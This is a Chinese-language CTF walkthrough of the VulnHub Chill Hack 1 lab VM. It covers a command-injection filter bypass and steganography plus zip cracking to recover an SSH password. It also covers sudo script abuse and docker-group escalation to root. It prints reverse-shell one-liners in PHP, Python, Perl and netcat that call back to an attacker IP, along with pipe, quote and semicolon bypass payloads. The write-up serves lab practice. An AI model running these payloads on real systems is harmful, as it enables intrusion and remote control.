VulnHub-Chill-Hack 1 靶场渗透测试
作者:ch4nge
时间:2021.1.25
靶场信息:
地址:https://www.vulnhub.com/entry/chill-hack-1,622/
发布日期:2020年12月9日
难度:容易/中级
目标:获取标志Flag: 2 (User and root)
运行:VMware Workstation 16.x Pro(默认的NAT网络模式,VMware比VirtualBox更好地工作)
hint :枚举
前言
本次靶场使用VMware Workstation 16.x Pro进行搭建运行。将我的kali系统和靶机一样使用NAT网络模式。本次演练使用kali系统按照渗透测试的过程进行操作。在渗透的时候需要使用命令执行得到一个A用户shell,通过一个图片信息得到B用户的ssh密码,并在B用户上找到了存在sudo缺陷的脚本得到C用户的shell,并拿到user-flag,而B用户在docker组,利用docker进行提权至root。文章有不对的地方欢迎师傅指正~
一、信息搜集
1. 靶机ip
使用nmap进行扫描,得到ip 10.0.0.131
2. 开放端口 服务
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))3. ftp匿名访问
下载文件,是一个提示
Anurodh told me that there is some filtering on strings being put in the command -- Apaar4. 网站信息搜集
首页
二、漏洞探测
1. 目录扫描
dirb http://10.0.0.131/访问
http://10.0.0.131/secret/漏洞来的太快就像龙卷风~命令执行漏洞
三、漏洞利用
1. 命令执行漏洞利用
前面ftp里面拿到的提示说有字符串的过滤,想办法绕过
经过尝试发现可以使用管道符进行绕过
whoami|ls2. php反弹shell
whoami|php -r '$sock=fsockopen("10.0.0.129",8888);exec("/bin/bash -i <&3 >&3 2>&3");'3. 信息搜集
在/var/www/files路径中发现hacker.php
查看文件内容,得到提示
在黑暗中看!你会找到答案的
继续寻找可用信息,在/var/www/files/images路径找到hacker-with-laptop_23-2147985341.jpg
由于靶机是CTF模式,是有可能存在信息隐写的。看图片名字应该是有信息隐藏在图片里面了,使用python httpserver搭建服务,将文件下载到本地
发现使用steghide可以将信息提取出来,得到backup.zip,解密需要密码
steghide extract -sf hacker-with-laptop_23-2147985341.jpg使用fcrackzip工具暴力破解zip密码,使用kali系统自带的/usr/share/wordlists/rockyou.txt字典
fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt backup.zip得到密码 pass1word
解压得到source_code.php
<html> <head> Admin Portal </head> <title> Site Under Development ... </title> <body> <form method="POST"> Username: <input type="text" name="name" placeholder="username"><br><br> Email: <input type="email" name="email" placeholder="email"><br><br> Password: <input type="password" name="password" placeholder="password"> <input type="submit" name="submit" value="Submit"> </form> <?php if(isset($_POST['submit'])) { $email=$_POST["email"]; $password=$_POST["password"]; if(base64_encode($password)=="IWQwbnRLbjB3bVlwQHNzdzByZA==") { $random=rand(1000,9999);?><br><br><br> <form method="POST"> Enter the OTP: <input type="number" name="otp"> <input type="submit" name="submitOtp" value="Submit"> </form> <?php mail($email,"OTP for authentication",$random); if(isset($_POST["submitOtp"])) { $otp=$_POST["otp"]; if($otp==$random) { echo "Welcome Anurodh!"; header("Location: authenticated.php"); } else { echo "Invalid OTP"; } } } else { echo "Invalid Username or Password"; } } ?> </html>根据文件内容可以判断出这是登录页面的程序,判断输入的密码是否正确,正确密码的base64编码是
IWQwbnRLbjB3bVlwQHNzdzByZA==解密:
? root@ch4nge ~/file/VulnHub/Chill_Hack echo -n "IWQwbnRLbjB3bVlwQHNzdzByZA==" |base64 -d
!d0ntKn0wmYp@ssw0rd#?
密码:!d0ntKn0wmYp@ssw0rd
猜测密码是ssh用户的,查看ssh用户名anurodh、apaar、aurick
分别使用ssh登录,在登录anurodh用户时成功
在/home/apaar路径发现local.txt文件,没有读取权限。尝试获取apaar用户权限或者root权限进行读取
4. 获取apaar用户权限
使用sudo -l查看可以以sudo的身份运行的命令
anurodh@ubuntu:~$ sudo -l Matching Defaults entries for anurodh on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User anurodh may run the following commands on ubuntu: (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh发现可以将/home/apaar/.helpline.sh作为apaar用户运行,且不需要输入密码
查看该文件,它会提示输入两次数据,然后将它们执行/dev/null,且第二次输入的命令可以被执行
这里使用apaar用户运行文件,并在第二次信息输入/bin/bash,以尝试获取apaar用户的shell
成功了!使用python3升级这个shell
python3 -c 'import pty; pty.spawn("/bin/bash")'5. 得到第一个标志 USER-FLAG
{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}6. 使用LinEnum.sh获取apaar和anurodh用户的信息
LinEnum.sh是一个非常好用的脚本,有温馨提示,LinEnum脚本下载
在本地使用python HTTPServer搭建服务,在靶机的shell中下载LinEnum脚本
运行脚本,得知当前用户(anurodh)在docker用户组(apaar没有)
$ chmod +x LinEnum.sh $ https://www.freebuf.com/articles/web/LinEnum.sh四、权限提升
1. docker提权
安利一个很好用的网站https://gtfobins.github.io/
在gtfobins搜索docker获取相关信息,得到提权命令,获取root权限
docker run -v /:/mnt --rm -it alpine chroot /mnt sh升级交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'2. 得到第二个标志 ROOT-FLAG
{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}总结
靶机很友好,网站的命令执行漏洞探测很简单,这里补充一下在此次反弹shell的时候可以用到的方法
使用管道符绕过过滤
whoami|ls-->ls whoami|ls /home-->ls /homephp
whoami|php -r '$sock=fsockopen("10.0.0.129",8888);exec("/bin/bash -i <&3 >&3 2>&3");'python3
whoami|python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.129",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'perl
whoami|perl -e 'use Socket;$i="10.0.0.129";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' whoami|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.129:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'nc(netcat)
whoami|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f使用双引号绕过过滤
whoami""-->whoami ls""-->ls反弹shell
rm"" /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f使用分号绕过过滤
ls;whoami-->whoami ls;ls-->ls反弹shell
ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f